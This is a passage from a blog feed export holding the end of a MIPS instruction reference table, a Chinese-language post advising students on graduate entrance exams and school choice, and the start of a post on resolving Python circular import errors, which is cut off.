(4);</td></tr><tr><td>Syntax:</td><td>bltzal $s, offset</td></tr><tr><td>Encoding:</td><td><code>0000 01ss sss1 0000 iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>BNE – Branch on not equal</strong></p><table><thead><tr><th>Description:</th><th>Branches if the two registers are not equal</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s != $t advance_pc (offset << 2)); else advance_pc (4);</td></tr><tr><td>Syntax:</td><td>bne $s, $t, offset</td></tr><tr><td>Encoding:</td><td><code>0001 01ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>DIV – Divide</strong></p><table><thead><tr><th>Description:</th><th>Divides $s by $t and stores the quotient in $LO and the remainder in $HI</th></tr></thead><tbody><tr><td>Operation:</td><td>$LO = $s / $t; $HI = $s % $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>div $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt 0000 0000 0001 1010</code></td></tr></tbody></table><p><strong>DIVU - Divide unsigned</strong></p><table><thead><tr><th>Description:</th><th>Divides $s by $t and stores the quotient in $LO and the remainder in $HI</th></tr></thead><tbody><tr><td>Operation:</td><td>$LO = $s / $t; $HI = $s % $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>divu $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt 0000 0000 0001 1011</code></td></tr></tbody></table><p><strong>J – Jump</strong></p><table><thead><tr><th>Description:</th><th>Jumps to the calculated address</th></tr></thead><tbody><tr><td>Operation:</td><td>PC = nPC; nPC = (PC & 0xf0000000) l (target << 2);</td></tr><tr><td>Syntax:</td><td>j target</td></tr><tr><td>Encoding:</td><td><code>0000 10ii iiii iiii iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>JAL – Jump and link</strong></p><table><thead><tr><th>Description:</th><th>Jumps to the calculated address and stores the return address in $31</th></tr></thead><tbody><tr><td>Operation:</td><td>$31 = PC + 8 (or nPC + 4); PC = nPC; nPC = (PC & 0xf0000000) l (target << 2);</td></tr><tr><td>Syntax:</td><td>jal target</td></tr><tr><td>Encoding:</td><td><code>0000 11ii iiii iiii iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>JR – Jump register</strong></p><table><thead><tr><th>Description:</th><th>Jump to the address contained in register $s</th></tr></thead><tbody><tr><td>Operation:</td><td>PC = nPC; nPC = $s;</td></tr><tr><td>Syntax:</td><td>jr $s</td></tr><tr><td>Encoding:</td><td><code>0000 00ss sss0 0000 0000 0000 0000 1000</code></td></tr></tbody></table><p><strong>LB – Load byte</strong></p><table><thead><tr><th>Description:</th><th>A byte is loaded into a register from the specified address.</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = MEM[$s + offset]; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>lb $t, offset($s)</td></tr><tr><td>Encoding:</td><td><code>1000 00ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>LUI – Load upper immediate</strong></p><table><thead><tr><th>Description:</th><th>The immediate value is shifted left 16 bits and stored in the register. The lower 16 bits are zeroes.</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = (imm << 16); advance_pc (4);</td></tr><tr><td>Syntax:</td><td>lui $t, imm</td></tr><tr><td>Encoding:</td><td><code>0011 11-- ---t tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>LW – Load word</strong></p><table><thead><tr><th>Description:</th><th>A word is loaded into a register from the specified address.</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = MEM[$s + offset]; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>lw $t, offset($s)</td></tr><tr><td>Encoding:</td><td><code>1000 11ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>MFHI – Move from HI</strong></p><table><thead><tr><th>Description:</th><th>The contents of register HI are moved to the specified register.</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $HI; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>mfhi $d</td></tr><tr><td>Encoding:</td><td><code>0000 0000 0000 0000 dddd d000 0001 0000</code></td></tr></tbody></table><p><strong>MFLO – Move from LO</strong></p><table><thead><tr><th>Description:</th><th>The contents of register LO are moved to the specified register.</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $LO; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>mflo $d</td></tr><tr><td>Encoding:</td><td><code>0000 0000 0000 0000 dddd d000 0001 0010</code></td></tr></tbody></table><p><strong>MULT - Multiply</strong></p><table><thead><tr><th>Description:</th><th>Multiplies $s by $t and stores the result in $LO.</th></tr></thead><tbody><tr><td>Operation:</td><td>$LO = $s * $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>mult $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt 0000 0000 0001 1000</code></td></tr></tbody></table><p><strong>MULTU - Multiply unsigned</strong></p><table><thead><tr><th>Description:</th><th>Multiplies $s by $t and stores the result in $LO.</th></tr></thead><tbody><tr><td>Operation:</td><td>$LO = $s * $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>multu $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt 0000 0000 0001 1001</code></td></tr></tbody></table><p><strong>NOOP – no operation</strong></p><table><thead><tr><th>Description:</th><th>Performs no operation.</th></tr></thead><tbody><tr><td>Operation:</td><td>advance_pc (4);</td></tr><tr><td>Syntax:</td><td>noop</td></tr><tr><td>Encoding:</td><td><code>0000 0000 0000 0000 0000 0000 0000 0000</code></td></tr></tbody></table><p>Note: The encoding for a NOOP represents the instruction SLL $0, $0, 0 which has no side effects. In fact, nearly every instruction that has $0 as its destination register will have no side effect and can thus be considered a NOOP instruction.</p><p> <strong>OR – Bitwise or</strong></p><table><thead><tr><th>Description:</th><th>Bitwise logical ors two registers and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $s l $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>or $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0010 0101</code></td></tr></tbody></table><p><strong>ORI – Bitwise or immediate</strong></p><table><thead><tr><th>Description:</th><th>Bitwise ors a register and an immediate value and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = $s l imm; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>ori $t, $s, imm</td></tr><tr><td>Encoding:</td><td><code>0011 01ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>SB – Store byte</strong></p><table><thead><tr><th>Description:</th><th>The least significant byte of $t is stored at the specified address.</th></tr></thead><tbody><tr><td>Operation:</td><td>MEM[$s + offset] = (0xff & $t); advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sb $t, offset($s)</td></tr><tr><td>Encoding:</td><td><code>1010 00ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>SLL – Shift left logical</strong></p><table><thead><tr><th>Description:</th><th>Shifts a register value left by the shift amount listed in the instruction and places the result in a third register. Zeroes are shifted in.</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $t << h; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sll $d, $t, h</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd dhhh hh00 0000</code></td></tr></tbody></table><p><strong>SLLV – Shift left logical variable</strong></p><table><thead><tr><th>Description:</th><th>Shifts a register value left by the value in a second register and places the result in a third register. Zeroes are shifted in.</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $t << $s; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sllv $d, $t, $s</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d--- --00 0100</code></td></tr></tbody></table><p><strong>SLT – Set on less than (signed)</strong></p><table><thead><tr><th>Description:</th><th>If $s is less than $t, $d is set to one. It gets zero otherwise.</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s < $t $d = 1; advance_pc (4); else $d = 0; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>slt $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0010 1010</code></td></tr></tbody></table><p><strong>SLTI – Set on less than immediate (signed)</strong></p><table><thead><tr><th>Description:</th><th>If $s is less than immediate, $t is set to one. It gets zero otherwise.</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s < imm $t = 1; advance_pc (4); else $t = 0; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>slti $t, $s, imm</td></tr><tr><td>Encoding:</td><td><code>0010 10ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>SLTIU – Set on less than immediate unsigned</strong></p><table><thead><tr><th>Description:</th><th>If $s is less than the unsigned immediate, $t is set to one. It gets zero otherwise.</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s < imm $t = 1; advance_pc (4); else $t = 0; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sltiu $t, $s, imm</td></tr><tr><td>Encoding:</td><td><code>0010 11ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>SLTU – Set on less than unsigned</strong></p><table><thead><tr><th>Description:</th><th>If $s is less than $t, $d is set to one. It gets zero otherwise.</th></tr></thead><tbody><tr><td>Operation:</td><td>if $s < $t $d = 1; advance_pc (4); else $d = 0; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sltu $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0010 1011</code></td></tr></tbody></table><p><strong>SRA – Shift right arithmetic</strong></p><table><thead><tr><th>Description:</th><th>Shifts a register value right by the shift amount (shamt) and places the value in the destination register. The sign bit is shifted in.</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $t >> h; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sra $d, $t, h</td></tr><tr><td>Encoding:</td><td><code>0000 00-- ---t tttt dddd dhhh hh00 0011</code></td></tr></tbody></table><p><strong>SRL – Shift right logical</strong></p><table><thead><tr><th>Description:</th><th>Shifts a register value right by the shift amount (shamt) and places the value in the destination register. Zeroes are shifted in.</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $t >> h; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>srl $d, $t, h</td></tr><tr><td>Encoding:</td><td><code>0000 00-- ---t tttt dddd dhhh hh00 0010</code></td></tr></tbody></table><p><strong>SRLV – Shift right logical variable</strong></p><table><thead><tr><th>Description:</th><th>Shifts a register value right by the amount specified in $s and places the value in the destination register. Zeroes are shifted in.</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $t >> $s; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>srlv $d, $t, $s</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0000 0110</code></td></tr></tbody></table><p><strong>SUB – Subtract</strong></p><table><thead><tr><th>Description:</th><th>Subtracts two registers and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $s - $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sub $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0010 0010</code></td></tr></tbody></table><p><strong>SUBU – Subtract unsigned</strong></p><table><thead><tr><th>Description:</th><th>Subtracts two registers and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $s - $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>subu $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d000 0010 0011</code></td></tr></tbody></table><p><strong>SW – Store word</strong></p><table><thead><tr><th>Description:</th><th>The contents of $t is stored at the specified address.</th></tr></thead><tbody><tr><td>Operation:</td><td>MEM[$s + offset] = $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>sw $t, offset($s)</td></tr><tr><td>Encoding:</td><td><code>1010 11ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><p><strong>SYSCALL – System call</strong></p><table><thead><tr><th>Description:</th><th>Generates a software interrupt.</th></tr></thead><tbody><tr><td>Operation:</td><td>advance_pc (4);</td></tr><tr><td>Syntax:</td><td>syscall</td></tr><tr><td>Encoding:</td><td><code>0000 00-- ---- ---- ---- ---- --00 1100</code></td></tr></tbody></table><p><strong>XOR – Bitwise exclusive or</strong></p><table><thead><tr><th>Description:</th><th>Exclusive ors two registers and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$d = $s ^ $t; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>xor $d, $s, $t</td></tr><tr><td>Encoding:</td><td><code>0000 00ss ssst tttt dddd d--- --10 0110</code></td></tr></tbody></table><p><strong>XORI – Bitwise exclusive or immediate</strong></p><table><thead><tr><th>Description:</th><th>Bitwise exclusive ors a register and an immediate value and stores the result in a register</th></tr></thead><tbody><tr><td>Operation:</td><td>$t = $s ^ imm; advance_pc (4);</td></tr><tr><td>Syntax:</td><td>xori $t, $s, imm</td></tr><tr><td>Encoding:</td><td><code>0011 10ss ssst tttt iiii iiii iiii iiii</code></td></tr></tbody></table><h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h3><p><a href="http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html">MIPS Instruction Reference</a></p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/08/06/mips-instruction-reference/' title='MIPS Instruction Reference' >MIPS Instruction Reference</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/08/06/mips-instruction-reference/' title='MIPS Instruction Reference' >http://blog.rookiehacker.org/2019/08/06/mips-instruction-reference/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
MIPS指令学习
</summary>
<category term="MIPS" scheme="http://blog.rookiehacker.org/categories/MIPS/"/>
<category term="MIPS" scheme="http://blog.rookiehacker.org/tags/MIPS/"/>
</entry>
<entry>
<title>【考研之路】关于考研的一些问题</title>
<link href="http://blog.rookiehacker.org/2019/07/21/somethingaboutkaoyan/"/>
<id>http://blog.rookiehacker.org/2019/07/21/somethingaboutkaoyan/</id>
<published>2019-07-20T16:20:17.000Z</published>
<updated>2019-12-18T12:17:44.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="写在前边"><a href="#写在前边" class="headerlink" title="写在前边"></a>写在前边</h1><p><em>大家好!我回来了~可是我是谁???\\\ (‘ω’) ////</em></p><p>我是一直考研考了<em>两次</em>才考上的苦逼考研狗……</p><p>最近可能是b站的视频点击量比较大吧,有不少同学看到我在视频下面的评论就一路摸到了知乎然后进了群,最后加了我,并且问了我一些问题,我应该都挨个“认真”地回答了大家的问题,不过我发现大家的问题其实都大同小异,所以前几日则准备再收集整理一下大家的问题,然后在这里做一个集中回复吧。</p><iframe src="//player.bilibili.com/player.html?aid=56950916&cid=99658673&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe><h1 id="自我介绍"><a href="#自我介绍" class="headerlink" title="自我介绍"></a>自我介绍</h1><p>可能这是问我问题的同学都有的疑问吧<del>说来也尴尬,感觉要是认真读过我知乎*<a href="http://blog.rookiehacker.org/2019/03/30/fightforpku/">上一篇文章</a>*的同学应该对我的信息会有一个大体的了解,但是事实大家依然会问o(╥﹏╥)o</del>好吧,那这里就再仔细做一遍自我介绍吧~</p><p>我叫刘XX,男,单身,来自山东,信息安全专业,本科毕业于四非大学(非985、非211、非一流大学、非一流学科)青岛大学(最近被母校的*<a href="https://www.bilibili.com/video/av58502774">毕业典礼视频</a><em>疯狂圈粉!!!),应该算是一所综合实力比较强的省属一本大学吧,也怪我当初高考发挥失常,成绩高不成低不就,省外一般的211上不了,偏远211又不想去,最后就选择了省内的青大,唉,说到底还是自己菜啊!(T_T)<br>我一战,选择的是上海交大的计算机技术硕士,18年招收人数大概20左右吧,最后因为数学成绩奇差,跪了。二战,我并不是一个开始就确定了一个目标,而是列出了几个有可能的专业。因为以后准备在帝都发展,所以优先选择了北京的高校,大概包括中科院信工所、计算所、北航、北邮、北大信科、信工、叉院以及软微。 因为毕竟是二战了,</em>稳妥<em>才是最重要的,最后综合考虑下,选择了软微。但有一点要注意下,这并不是说软微在这几所学院校里面是最差的,而是最合适的。</em>适合自己的,才是最好的!*至于为什么这么说,下面我会分析。</p><h1 id="为什么读研?"><a href="#为什么读研?" class="headerlink" title="为什么读研?"></a>为什么读研?</h1><p>我感觉每一个考研的or保研的,或者说是选择走上研究生道路的同学,都要先问清楚自己这个问题。为什么读研?因为自己的梦想?因为想要搞科研?因为本科一般想研究生提升下自己的学历?因为想要找个好工作?还是只是因为别人考我也考的随大流呢?其实我感觉有很多人很迷茫,也许并不知道自己读研是为了什么,也许是为了避免毕业时的迷茫而选择继续自己象牙塔里的生活。可是,三年后呢?并且你能保证你真的喜欢研究生阶段的学习和生活吗?而你的青春又有几个三年呢?好多东西,想清楚之后再去做,思路会更加清晰,自己也会更有动力!只有你自己最了解自己,也只有你自己知道自己想要的究竟是什么,别被别人影响,别人考上了,自己就一定也要考上,可能适合别人的并不适合你自己。<em>有时候,你跳出了一个坑,只是又进了另外一个坑而已</em>。现在,清问清楚你自己这个问题之后,再往下看。</p><h1 id="考研院校选择"><a href="#考研院校选择" class="headerlink" title="考研院校选择"></a>考研院校选择</h1><p>问清楚上面的问题后,如果你坚定了自己考研的步伐,那就可以确定院校专业目标了。</p><p>首先,要认清自己的情况。这里主要是指自己的本科背景,包括本科学校,本科阶段的学习成绩,本科期间参加的各种活动,拿到的各种奖项等加分项。关于本科学校,可能在保研的时候会更明显,因为很多牛逼的学校保研夏令营只要985211,甚至规定必须是专业前几才有资格等等。而一些院校的在考研复试的时候也会存在各种院校歧视的情况,有时候两个同学成绩一样的前提下,一个是名牌985的年级30,一个是排名百名开外的某不知名渣本的年级前三,让你选你会选择哪个?当然,这么说可能会有些偏激,但是没办法,就是这么现实,中国这么大,多你一个不多,少你一个也不少,出身确实会多少有那么点影响的。如果感觉自己出身不好,那就尽量争取初试分数高一些,平时多参加各种全国性或者比较有影响力的比赛,多拿奖,多做项目,甚至是发文章,总之,你要有证明自己能力不逊于那些来自更好学校的竞争者的东西。</p><p>其次,要看清考研的形势。很现实的情况就是考研大军在一年比一年壮大,这里抄一段从网上扒来的数据统计</p><blockquote><p>2019年的考研人数达到历史性的290万。但是各大高校录取的人数其实并不多,很多学校甚至都有缩招的现象,据某考研机构的统计,2019年高校的研究生招生名额只有70余万人,这包括全日制、在职、保送等研究生名额的总和。如果把保研的去掉,数据对于考研党来说更是严峻,所以这也导致2019年的考研竞争非常激烈。</p></blockquote><p>僧多粥少, 就是这么个情况。大形势要看清,小形势更不能忽略。掌握自己心仪学校专业的往年报录情况更是重中之重!有什么甚至可以分析出大小年的规律来,当然这个规律不能全信,主要是参考作用,结合往年数据,以及考研群里的活跃情况,基本上可以看出今年本专业考研的一下大体形势的。因为还有同学问我软微考研难度的问题,这里就顺便也说一下。早就通闻江湖上流传着这样一种经久不息的说法,“来软微,300分上北大!”300分上北大是真的吗?没错!是真的!但是前提情况是什么?是几年前,那时候软微还没现在这么“备受瞩目”,一众大佬还不惜得来,竞争也相对小很多,300分的线也不足为奇。但是你要是告诉我现在你考300分,还要上北大,对不起,可能你还沉浸在与周公的约会。软微招收的人数确实多,这也导致了生源质量必定会参差不齐,但是最不济,今年你过不了340就没可能啊。不过340也确实不算高,从今年复试的情况来看350已经排在400名左右了(计算机技术整体排名,不只有技术类),最后的*<a href="http://ss.pku.edu.cn/attachments/article/3788/%E8%BD%AF%E4%BB%B6%E4%B8%8E%E5%BE%AE%E7%94%B5%E5%AD%90%E5%AD%A6%E9%99%A22019%E5%B9%B4%E7%A1%95%E5%A3%AB%E7%A0%94%E7%A9%B6%E7%94%9F%E6%8B%9F%E5%BD%95%E5%8F%96%E5%85%AC%E7%A4%BA%E5%90%8D%E5%8D%95.pdf">录取情况</a><em>340+<del>350+分数段的同学也确实不多(粗略看了下,大概10几20几个吧,占整体的比例就很小了),好像有人统计了一下平均大概370+的样子(唉</del>又拉后腿了。。。o(╥﹏╥)o)并且从19年的</em><a href="http://ss.pku.edu.cn/attachments/article/3696/%E5%8C%97%E4%BA%AC%E5%A4%A7%E5%AD%A62019%E5%B9%B4%E8%BD%AF%E4%BB%B6%E4%B8%8E%E5%BE%AE%E7%94%B5%E5%AD%90%E5%AD%A6%E9%99%A2%E6%8B%9F%E5%BD%95%E5%8F%96%E6%8E%A8%E8%8D%90%E5%85%8D%E8%AF%95%E7%A1%95%E5%A3%AB%E7%A0%94%E7%A9%B6%E7%94%9F%E5%85%AC%E7%A4%BA%E5%90%8D%E5%8D%95.pdf">保研名单</a>*来看,来自清北上交人大哈工大武大北航等等生源均有,并且起步211,生源质量如何应该可以有个比较清晰的了解,并且在复试的时候也幸会了清北的大佬,总之是,大家不能再用以前的眼光来看待今天的软微了(突然感觉自己能够上岸,真是。。。不容易啊。。。)。很多时候,不要听到别人说什么就信什么,自己动动手直接去官网看,一目了然。还有一些同学问我一些奇葩问题,比如“学长是不是很厉害?”o(╥﹏╥)o我真的菜啊,可能简历比较丰富吧,除了奖学金也就参加过一些ctf比赛,日常签到的菜鸡,参加过什么互联网+、创青春、软件杯、蓝桥杯等等比赛,也拿了一些小奖项,其他活动的话也就在院会做个部长,没事就组织些学习活动啥的,拿了个优团优干优秀毕业生啥的,哦对了,还拿过校运动会冠军,虽然之后市比赛差一点没进前三,就拿了第四。。。。但是这些东西真的都是挺容易就可以实现的吧,和那些本科就paper收割机offer收割机的大神比起来就真的太小儿科了。。我感觉我这个菜鸡拼一下软微说不定有戏啊,就硬着头皮刚咯~</p><p>最后,多给自己几个选择。就像我上面提到我自己当时的情况一样,一开始并不一定就要XX吃秤砣,铁了心地就非XXX不考,多给自己几个可能。以我自己为例,二战时我选择了北京的一些学校,包括中科院信工所、计算所、北航、北邮、北大信科、信工、叉院以及软微等。先说中科院信工所与计算所,首先中科院也是双非,不能自主划线,一般信工所招收的学生会多一些,招生一般是按照科室来的,好像复试的时候也是按照科室分别进行复试,科室比较多,各个方向都挺全的,选择也会比较多,但是这样就会出现比较牛的科室报考扎堆,冷门科室无人问津,甚至有些科室最后还会招收调剂,一战时我就有个学长刚清华败北,然后调剂去了信工所(调剂能去信工所也是真的牛啊<del>),按照我一战时身边同学报考的情况,去信工所的应该是最多的,从最后录取的情况来看,280+</del>380+均有,这个和具体的方向以及考试科目相关。而计算所以及软件所招收的人数相对来说就少很多了,专业课的难度也会稍微大一些,具体信息可以去各个所研招网查找,这里就不多说了。但是中科院嘛,对科研产出还是有要求的,我不太想成为论文机器(其实是太菜,怕发不出论文,毕不了业啊o(╥﹏╥)o),所以就放弃中科院选项了。其实说实话,中科院的专硕应该和学硕一样对待(这点我记得是啊,但不能保证,需要去官网确认下才行。。),并且中科院的学术氛围也很强(实习氛围应该也不差),也是对科研很感兴趣,信工所也是性价比很高的选择,计算所软件所竞争压力会比较大,这个要谨慎一些。北航北邮每年也会招收不少的学生,我也曾一度买了北航的专业课课本,但是最后还是放弃了,我也不知道为什么,可能是没感觉吧~(其实北航北邮的性价比同样也不错,专硕学硕名额分配没详细统计过,但招收的人数还是挺可观的)。而北大的话,我主要还是考虑到招收人数的问题,信科、信工、叉院招收人数感觉太少了,二战不敢再去冒这个风险了,要是一战让我选的话,我还是可以头铁刚一刚的,虽然最后的报录比可能并不比软微这边高,但是10:1和100:10让我选,我应该还是会选择后者吧,并且软微19年的招生专业也有我喜欢的方向,综合考虑下就选择了软微。上面只是我择校择专业。这个具体还是需要看你个人的想法,总的来说就是多个自己几个选择,说不定上岸就多了几分可能。</p><h1 id="考研备考"><a href="#考研备考" class="headerlink" title="考研备考"></a>考研备考</h1><p>这部分的话我感觉在*<a href="http://blog.rookiehacker.org/2019/03/30/fightforpku/">上一篇文章</a>*已经说得够清楚了,还有疑问的可以参考一下,这里就不再赘述了。</p><h1 id="考研信息和资料收集"><a href="#考研信息和资料收集" class="headerlink" title="考研信息和资料收集"></a>考研信息和资料收集</h1><p>信息获取确实是一种能力,尤其是对于立志成为研究生的你来说,更是必须要具备的一种能力,这里就大体说一下。关于计算机考研的话,可以去王道论坛等相关论坛去获取关于院校专业相关的一些“情报”,确定了目标之后,就可以去目标学校研招网上查找历年的录取情况以及关于专业和导师的一些信息了。一般在相关的考研群里也是可以找到里面的一些录取信息等情况,考研资料也可以扒到一大坨,当然信息筛选就得看你自己了,还有一些考研公众号也做的挺良心的,具体的也不用问我,我都已删得差不多了。。。。。当然也可以问一下自己的直系学长学姐,去当面寻求一些经验可能会更有效<del>大体上也就是这么多吧</del></p><p>最后,我想说的是考研只是人生中的一个小小的片段,从准备,到初试,再到复试,最后到录取,整个过程现在也算是走完了。不管如何,<em>生活都还要继续</em>,而我也不能一直沉浸在成功上岸的喜悦,所以,是时候向着新的方向出发了,就暂且和考研说再见啦~翻篇咯!祝大家都能成功上岸!!!</p><p>说给大家,更说给自己~</p><p>———— 2019.07.21 凌晨 于北京</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/07/21/somethingaboutkaoyan/' title='【考研之路】关于考研的一些问题' >【考研之路】关于考研的一些问题</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/07/21/somethingaboutkaoyan/' title='【考研之路】关于考研的一些问题' >http://blog.rookiehacker.org/2019/07/21/somethingaboutkaoyan/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
今天谈谈考研的一些问题。
</summary>
<category term="考研" scheme="http://blog.rookiehacker.org/categories/%E8%80%83%E7%A0%94/"/>
<category term="考研" scheme="http://blog.rookiehacker.org/tags/%E8%80%83%E7%A0%94/"/>
</entry>
<entry>
<title>Python中循环引用(import)失败的解决方法</title>
<link href="http://blog.rookiehacker.org/2019/07/18/python-import/"/>
<id>http://blog.rookiehacker.org/2019/07/18/python-import/</id>
<published>2019-07-18T12:39:57.000Z</published>
<updated>2019-12-18T12:59:46.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>遇到了相同问题,网上总结得不错,搬一下。</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近在开发项目中,由于代码结构层级划分不合理,导致了循环引用(import)module失败的问题,错误如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Traceback (most recent call last):</span><br><span class="line"> File "./main.py", line 8, in &lt;module&gt;</span><br><span class="line"> from hestiarpi.library.server import server</span><br><span class="line"> File "/home/pi/server/hestiarpi/library/server/server.py", line 4, in &lt;module&gt;</span><br><span class="line"> from hestiarpi.library.brain import handler</span><br><span class="line"> File "/home/pi/server/hestiarpi/library/brain/handler.py", line 5, in &lt;module&gt;</span><br><span class="line"> from hestiarpi.library.brain import monitor</span><br><span class="line"> File "/home/pi/server/hestiarpi/library/brain/monitor.py", line 6, in &lt;module&gt;</span><br><span class="line"> from hestiarpi.library.server import server</span><br><span class="line">ImportError: cannot import name server</span><br></pre></td></tr></table></figure><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>这个时候就有一个问题,当前脚本Main第一次执行,需要执行from A import ,发现没有A,就新建一个A在内存中,然后填充A模块的信息,就会去执行A,此时,A里面要 from Main import D,那么因为Main已被执行,就直接从内存的map中取得Main的信息,不过此时Main的信息还没有填充完,因为之前就是为了填充才转到A的,这时从已有的空的Main中拿不到D,就会报错,ImportError。</p><h2 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h2><h3 id="方案一-合理划分项目代码层级"><a href="#方案一-合理划分项目代码层级" class="headerlink" title="方案一 合理划分项目代码层级"></a>方案一 合理划分项目代码层级</h3><p>循环引用最大的本质问题是代码层级结构划分的不合理,所以最根本的、最合理的解决方案就是重新划分好代码的层级结构,使其合理化,自然就规避了循环引用的麻烦。</p><h3 id="方案二-只引用当前的包,不引用具体的模块"><a href="#方案二-只引用当前的包,不引用具体的模块" class="headerlink" title="方案二 只引用当前的包,不引用具体的模块"></a>方案二 只引用当前的包,不引用具体的模块</h3><p>如果你的代码是这样,那么这种方式是会奏效的。<br>修改前</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span 